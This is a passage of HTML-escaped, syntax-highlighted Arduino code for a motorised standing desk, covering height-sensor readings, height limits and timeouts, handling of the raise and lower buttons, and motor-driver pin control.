&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;cm&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;readHeight&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;deltaWithLastKnownCm&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;abs&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cm&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;lastKnownCm&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// Sometimes we get odd random readings, wildly different from the previous one. We must ignore those.&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;Serial&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;println&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Height: &amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cm&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot; cm; Delta with last reading: &amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;deltaWithLastKnownCm&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot; cm&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lastKnownCm&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cm&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;boolean&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;isMoving&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;movingDirection&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;IDLE&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;isMoving&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;movingStartedAt&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;movingStartedAt&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;LOOP_DELAY&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;Serial&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Moving time: &amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;movingStartedAt&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1000&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot; seconds&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;movingDirection&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;RAISE_DIRECTION&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cm&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;MAX_HEIGHT&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;deltaWithLastKnownCm&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;IGNORE_DELTA_IN_CM_GREATHER_THAN&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;Serial&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Too high!&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;stop&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;movingStartedAt&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;RAISE_TIME_OUT_AFTER_MS&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;Serial&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Raise timed out!&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;stop&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;movingDirection&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;LOWER_DIRECTION&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cm&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;MIN_HEIGHT&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;deltaWithLastKnownCm&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;IGNORE_DELTA_IN_CM_GREATHER_THAN&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;Serial&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Too low!&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;stop&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;movingStartedAt&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;LOWER_TIME_OUT_AFTER_MS&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;Serial&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Lower timed out!&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;stop&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;digitalRead&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;LOWER_DESK_BUTTON&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;HIGH&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;Serial&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Lower Button is pressed&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;isMoving&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;stop&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;

&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;digitalRead&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;LOWER_DESK_BUTTON&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;HIGH&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// Do nothing and wait till the button is released&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;delay&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;move&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;255&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;LOWER_DIRECTION&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;delay&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;LOOP_DELAY&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// Delaying a bit more, to allow the desk to keep lowering slightly even if min height was reached&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;digitalRead&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;RAISE_DESK_BUTTON&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;HIGH&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;Serial&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Raise Button is pressed&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;isMoving&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;stop&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;

&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;digitalRead&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;RAISE_DESK_BUTTON&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;HIGH&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// Do nothing and wait till the button is released&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;delay&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;move&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;255&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;RAISE_DIRECTION&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;delay&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;LOOP_DELAY&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// Delaying a bit more, to allow the desk to keep raising slightly even if max height was reached&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;delay&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;LOOP_DELAY&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;

&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;move&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;speed&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;direction&lt;/span&gt;&lt;span class="p"&gt;){&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;Serial&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;move() called&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;movingDirection&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;direction&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;boolean&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;inPin1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;LOW&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;boolean&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;inPin2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;HIGH&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;direction&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;LOWER_DIRECTION&lt;/span&gt;&lt;span class="p"&gt;){&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;inPin1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;HIGH&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;inPin2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;LOW&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;digitalWrite&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;AIN1_PIN&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;inPin1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;digitalWrite&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;AIN2_PIN&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;inPin2&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;digitalWrite&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;STBY_PIN&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;HIGH&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// disable standby, powering the motor driver&lt;/span&gt;
